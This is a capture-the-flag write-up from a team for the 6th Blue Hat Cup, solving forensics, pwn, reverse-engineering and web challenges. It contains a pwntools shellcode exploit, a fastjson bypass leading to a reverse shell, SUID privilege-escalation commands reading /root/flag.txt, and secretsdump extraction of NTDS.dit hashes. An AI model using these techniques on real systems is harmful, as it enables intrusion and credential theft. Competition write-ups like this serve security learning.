第六届蓝帽杯WP(总榜第4名)
共 10315字,需浏览 21分钟
·
2022-07-11 18:11
本文来自“白帽子社区知识星球”
作者:WHT战队
WHT战队招新:
WHT战队欢迎对CTF有浓厚兴趣的师傅加入我们。
有半年以上CTF竞赛经验的。
包括但不限于Web、Misc、Reverse、Crypto、Pwn等各方向的CTFer加入。
加分项:有一年以上CTF竞赛经验的各方向CTFer。
有意向的师傅请扫描二维码联系我们
Misc
Misc1 domainhacker2
导出http对象,发现1.rar要密码,一个一个包分析,在第50条流量中找到密码,
看form item中的php代码,"q8fb9d4c082c11"的值从第二位开始进行base64解码,
得到密码为SecretsPassw0rds
解压压缩包,得到flag
Flag:flag{ 416f89c3a5deb1d398a1a1fce93862a7}
Misc2 domainhacker
同第一题一样,先找压缩包密码
Y2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZyYXIuZXhlIGEgLVBGYWtlUGFzc3dvcmQxMjMkIG50ZHMucmFyIG5ldyZlY2hvIDFkMzYzMiZjZCZlY2hvIDc4YmM0NjJhYg%3D%3D
base64解密,得到压缩包密码
解密ntds.rar压缩包
secretdump.py破解Ntds.dit密码
脚本下载地址:
https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
安装依赖:pip3 install impacket
运行:
python secretdump.py -security SECURITY -system SYSTEM -ntds ntds.dit -user-status -pwd-last-set -history local > 1.txt
Flag值
flag{07ab403ab740c1540c378b0f5aaa4087}
PWN2 EscapeShellcode
拿到题目后
程序有五个函数
Init_io 初始化输入输出流
给了一块可执行空间
在这块空间中写了一些deadbeef的东西,后面调试发现是将寄存器全部赋值为deadbeef
Init_flag将flag读到内存中
Sandbox开了沙盒
只能用read、write
Go就是读shellcode然后执行
Flag已经读取到内存中了,但是地址不清楚,所以可以先找到可读的那一页,然后加上flag的偏移,然后write出来
唯一能用的只有rip寄存器的值,所以通过rip寄存器去找可读的页,判断返回值eax的值来确定是否write成功
mov edi, 1
lea rsi, [rip-0x400000]
and rsi, 0xfffffffff0000000
mov edx, 0x50
A1:
add rsi, 0x1000
mov eax, 1
syscall
test eax, eax
jng A1
然后加上flag的偏移
from pwn import *
# sh = process("./escape_shellcode")
ip = '39.106.154.121'
port = 15595
sh = remote(ip, port)
'debug' =
'linux' =
'amd64' =
sc = '''
mov edi, 1
lea rsi, [rip-0x400000]
and rsi, 0xfffffffff0000000
mov edx, 0x50
A1:
add rsi, 0x1000
mov eax, 1
syscall
test eax, eax
jng A1
add rsi, 0x4120
mov rdx, 0x300
mov edi, 1
mov eax, 1
syscall
'''
print(sc)
pay = asm(sc)
# gdb.attach(sh, 'b *$rebase(0x1367)')
# pause()
sh.sendline(pay)
# sleep(3)
sh.interactive()
flag值:
flag{d299f035-1af2-4815-9c5b-bebf71ed0cd0}
手机取证1
根据题目描述,搜索627604C2-C586-48C1-AA16-FF33C3022159,导出数据文件
右键熟悉,查看分辨率即可
Flag:360x360
手机取证2
搜索关键词“单号”即可
Flag:SF1142358694796
计算机取证1
利用volitility分析出密文,在somd5解密得到密码
,
Flag:anxinqi
计算机取证2
Volitility pslist列出进程可以找到magnet-ram-capture程序
Flag:2192
计算机取证3
打开检材,需要BitLocker解密,用取证小程序得到密钥
在重新载入检材,找到渗透看取证PPT和pass.txt
使用passwarekit爆破,得到密码密码为287fuweiuhfiute,打开ppt得到flag
计算机取证4
在做上一题的时候,看到一个意思TrueCrypt的加密文件,导出看
同的可以直接使用passwarekit解密,得到一个新建文本文件-unprotected.txt
然后继续使用取证大师到处,证据分析
得到一个哈哈哈.zip文件,导出
使用ARCHPR 6位数字爆破
得到密码:991314,解压得到flag
flag{1349934913913991394cacacacacacc}
程序分析1
利用appt工具分析得到包名
Flag:exec.azj.kny.d.c
程序分析2
用aapt工具进行分析得到入口类
Flag:minmtta.hemjcbm.ahibyws.MainActivity
程序分析3
Base64解码可以得到一个网址,https://ansjk.ecxeio.xyz
程序分析4
在MainActivity下发现super方法,
跟进,有几个类,在a类中有环境检测的代码
Flag:a
网站取证1
存在后门,用D盾扫
Flag:lanmaobei666
网站取证2
sublime搜索database关键字
查看文件发现password值为一函数返回值,在线php运行得到flag
Flag:KBLT123
网站取证3
金额被加密了,搜索关键字encrypt,找到Channelorder文件,发现是对money加密的,
Flag:jyzg123456
网站取证4
找到王子豪和张宝的ID
收付款是按ID分的
但后面转账的金额在channelorder.php中被加密了,
写解密脚本:
$data="nJ1xlG5v";
$str1=base64_decode($data);
$len=strlen($str1);
$s='';
$key = md5('jyzg123456');
$char = '
';$x=0
;$l = strlen($key);
for ($i = 0; $i < 32; $i++)
{if ($x == $l)
{$x = 0; }
$char .= $key{$x};
$x++;}
for ($i = 0; $i < $len; $i++)
{$s.=chr(ord($str{$i}) - (ord($char{$i})));
echo(ord($str{$i}));
echo " ";
echo(ord($char{$i}));
echo "
";}
print($s);
在计算税额
根据时间累加金额得到flag
Flag:15758353.7
Ez_gadget
1.下载附件反编译:得到路由
2.绕过hashcode:直接写脚本碰撞得到另一个字符串的值,将其加密。
def test(str1):
h = 0
for i in range(len(str1)):
h = 31*h+ord(str1[i])
value = h
result = ""
for i in str1[::-1]:
for j in range(31,128):
if (value-j)%31 ==0:
result+=chr(j)
value = (value-j)//31
break
if value < 128:
result+=chr(j)
break
return result[::-1]
print(test(input("key:")))
3.接下来就是绕过fastjson的waf了,通过Unicode编码绕过,然后反弹shell
4.提示说flag.txt在root下,反弹回来的是ctf用户,显然需要提权。查找定时任务,没有发现可以利用的,查找suid文件:
find / -perm -u=s -type f 2>/dev/null
5.发现存在date命令可以用来读取文件,得到flag。
/bin/date -f /root/flag.txt
Loader
题目提示是载入程序,先查壳:
无壳64位程序,放ida64分析:
主函数很简单独立了一个新的虚拟内存,权限可读可写可执行,作为后面新程序的一个引导,根据后面给的内存地址,将被引导的程序dump下来,运行后发现啥也没有
Exeinfo发现nt头有问题
用010editor打开可以看到pe的文件头和可选头都是i386,主程序是64位,修改文件头和可选头的值
就可以正常运行了
放入ida继续分析,尝试查找字符串定位关键代码,但是交叉引用看不了,于是动调定位到代码:
函数做的一个大数运算,直接建立方程解flag
int sub_852850()
{
FILE *v0; // rax
__int64 v1; // rax
__int64 v2; // rdx
_QWORD *v3; // rsi
__int64 v4; // rdi
__int64 v5; // rbx
_QWORD *v6; // rax
_QWORD *v7; // rdi
__int64 v8; // rdx
_QWORD *v9; // rax
unsigned __int64 *v11; // rsi
__int64 v12; // rbx
__int64 v13; // rcx
_QWORD *v14; // rbp
__int64 v15; // rdx
unsigned __int64 v16; // rdi
__int64 v17; // rbx
unsigned __int64 *v18; // rbp
__int64 v19; // rdx
_QWORD *v20; // rax
__int64 v21; // rcx
_QWORD *v22; // rdi
__int64 v23; // rdx
unsigned __int64 v24; // rsi
__int64 v25; // rdi
__int64 v26; // rdx
unsigned __int64 v27; // rcx
__m128i v28; // xmm4
__int64 v29; // rdi
__int64 v30; // rdx
unsigned __int64 v31; // rcx
__m128i v32; // [rsp+20h] [rbp-78h] BYREF
__m128i v33; // [rsp+30h] [rbp-68h] BYREF
__int64 v34; // [rsp+40h] [rbp-58h] BYREF
__int64 v35; // [rsp+48h] [rbp-50h]
__m128i v36; // [rsp+50h] [rbp-48h] BYREF
__int64 v37; // [rsp+60h] [rbp-38h] BYREF
__int64 v38; // [rsp+68h] [rbp-30h]
nimRegisterGlobalMarker(sub_8527A0);
nimRegisterGlobalMarker(sub_852790);
nimRegisterGlobalMarker(sub_852780);
nimRegisterGlobalMarker(sub_852770);
nimRegisterGlobalMarker(sub_852760);
nimRegisterGlobalMarker(sub_852750);
nimRegisterGlobalMarker(sub_852740);
nimRegisterGlobalMarker(sub_852730);
nimRegisterGlobalMarker(sub_852720);
printf_0(off_856DC8, 1i64); // 输出提示“plz input your flag(format: flag{decimal number})”
v0 = (FILE *)off_8550C0(0i64);
v1 = scanf(v0);
v3 = (_QWORD *)v1;
if ( v1 )
*(_QWORD *)(v1 - 16) += 8i64;
if ( qword_86C1C0 )
{
v4 = *(_QWORD *)(qword_86C1C0 - 16);
v2 = qword_86C1C0 - 16;
*(_QWORD *)(qword_86C1C0 - 16) = v4 - 8;
if ( (unsigned __int64)(v4 - 8) <= 7 )
sub_846540(&qword_861F80 + 3, v2);
}
qword_86C1C0 = (__int64)v3;
v5 = 0i64;
v6 = (_QWORD *)sub_848FC0(5i64, v2);
v7 = v6;
if ( !v6 )
{
if ( v3 )
sub_84C420(0i64, -1i64);
sub_84C420(0i64, -1i64);
}
if ( !v3 )
{
if ( !*v6 )
sub_84C420(0i64, -1i64);
sub_84C420(0i64, -1i64);
}
do
{
if ( *v6 <= (unsigned __int64)v5 )
sub_84C420(v5, *v6 - 1i64);
v8 = *v3;
if ( *v3 <= (unsigned __int64)v5 )
sub_84C420(v5, v8 - 1);
*((_BYTE *)v6 + v5 + 16) = *((_BYTE *)v3 + v5 + 16);
++v5;
}
while ( v5 <= 4 );
if ( *v6 != 5i64 )
goto LABEL_15;
v9 = v6 + 2;
if ( *((_DWORD *)v7 + 4) != 'galf' )
goto LABEL_15;
if ( *((_BYTE *)v9 + 4) != '{' )
goto LABEL_15;
v11 = (unsigned __int64 *)qword_86C1C0;
if ( !qword_86C1C0 || *(_QWORD *)qword_86C1C0 != 42i64 || *(_BYTE *)(qword_86C1C0 + 57) != '}' )// 判断flag长度是否为42
goto LABEL_15;
v12 = 0i64;
v14 = (_QWORD *)sub_848FC0(18i64, v8);
if ( !v14 )
sub_84C420(0i64, -1i64);
do
{
v15 = *v14;
if ( *v14 <= (unsigned __int64)v12 )
sub_84C420(v12, v15 - 1);
v16 = v12 + 5;
if ( v12 + 5 < 0 || v16 < v12 )
sub_847F70(v13, v15);
if ( *v11 <= v16 )
sub_84C420(v12 + 5, *v11 - 1);
*((_BYTE *)v14 + v12++ + 16) = *((_BYTE *)v11 + v16 + 16);
}
while ( v12 <= 17 ); // 以18位进行拆分
v17 = 0i64;
sub_851340(v14, 10i64, &xmmword_86C170);
v18 = (unsigned __int64 *)qword_86C1C0;
v20 = (_QWORD *)sub_848FC0(18i64, v19);
v22 = v20;
if ( !v20 )
{
if ( v18 )
sub_84C420(0i64, -1i64);
sub_84C420(0i64, -1i64);
}
if ( !v18 )
{
if ( !*v20 )
sub_84C420(0i64, -1i64);
sub_84C420(23i64, -1i64);
}
do
{
v23 = *v22;
if ( *v22 <= (unsigned __int64)v17 )
sub_84C420(v17, v23 - 1);
v24 = v17 + 23;
if ( v17 + 23 < 0 || v24 < v17 )
sub_847F70(v21, v23);
if ( *v18 <= v24 )
sub_84C420(v17 + 23, *v18 - 1);
*((_BYTE *)v22 + v17++ + 16) = *((_BYTE *)v18 + v24 + 16);
}
while ( v17 <= 17 );
sub_851340(v22, 10i64, &xmmword_86C130);
sub_851340(&unk_856D80, 10i64, &xmmword_86C150);
sub_851340(&unk_856D40, 10i64, &xmmword_86C160);
v33 = _mm_loadu_si128((const __m128i *)&xmmword_86C150);
v32 = _mm_loadu_si128((const __m128i *)&xmmword_86C170);// 值对比
if ( !(unsigned __int8)sub_852080(&v33, &v32) )
goto LABEL_15;
v33 = _mm_loadu_si128((const __m128i *)&xmmword_86C170);
v32 = _mm_loadu_si128((const __m128i *)&xmmword_86C160);// 值对比
if ( !(unsigned __int8)sub_852080(&v33, &v32) )
goto LABEL_15;
v34 = 0i64;
v35 = 0i64;
v33 = (__m128i)xmmword_86C170;
v32 = (__m128i)xmmword_86C170;
sub_851270(&v33, &v32, &v34);
v25 = v34;
if ( v34 )
*(_QWORD *)(v34 - 16) += 8i64;
if ( (_QWORD)xmmword_86C190 )
{
v26 = xmmword_86C190 - 16;
v27 = *(_QWORD *)(xmmword_86C190 - 16) - 8i64;
*(_QWORD *)(xmmword_86C190 - 16) = v27;
if ( v27 <= 7 )
sub_846540(&qword_861F80 + 3, v26);
}
*(_QWORD *)&xmmword_86C190 = v25;
v36 = 0ui64;
BYTE8(xmmword_86C190) = v35;
v33 = (__m128i)xmmword_86C130;
v32 = (__m128i)xmmword_86C130;
sub_851270(&v33, &v32, &v36);
v28 = _mm_load_si128(&v36);
v37 = 0i64;
v38 = 0i64;
v33 = v28;
sub_852260(&v33, 11i64, &v37);
v29 = v37;
if ( v37 )
*(_QWORD *)(v37 - 16) += 8i64;
if ( (_QWORD)xmmword_86C120 )
{
v30 = xmmword_86C120 - 16;
v31 = *(_QWORD *)(xmmword_86C120 - 16) - 8i64;
*(_QWORD *)(xmmword_86C120 - 16) = v31;
if ( v31 <= 7 )
sub_846540(&qword_861F80 + 3, v30);
}
*(_QWORD *)&xmmword_86C120 = v29;
v33 = _mm_loadu_si128((const __m128i *)&xmmword_86C190);
BYTE8(xmmword_86C120) = v38;
v32 = _mm_loadu_si128((const __m128i *)&xmmword_86C120);
sub_8523C0(&v33, &v32, &xmmword_86C1A0);
sub_851340(&unk_856D10, 10i64, &xmmword_86C180);
v33 = _mm_loadu_si128((const __m128i *)&xmmword_86C1A0);
v32 = _mm_loadu_si128((const __m128i *)&xmmword_86C180);
if ( (unsigned __int8)sub_852500(&v33, &v32) )
{
qword_85A660 = 1i64;
}
else
{
LABEL_15:
if ( qword_85A660 != 1 )
return printf_0(off_856CC0, 1i64);
}
return printf_0(off_856CE8, 1i64);
}
就是一个佩尔公式这里直接解方程
获得flag:flag{118936021352508390035860559716724409}
如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。
▼扫码关注白帽子社区公众号&加入知识星球▼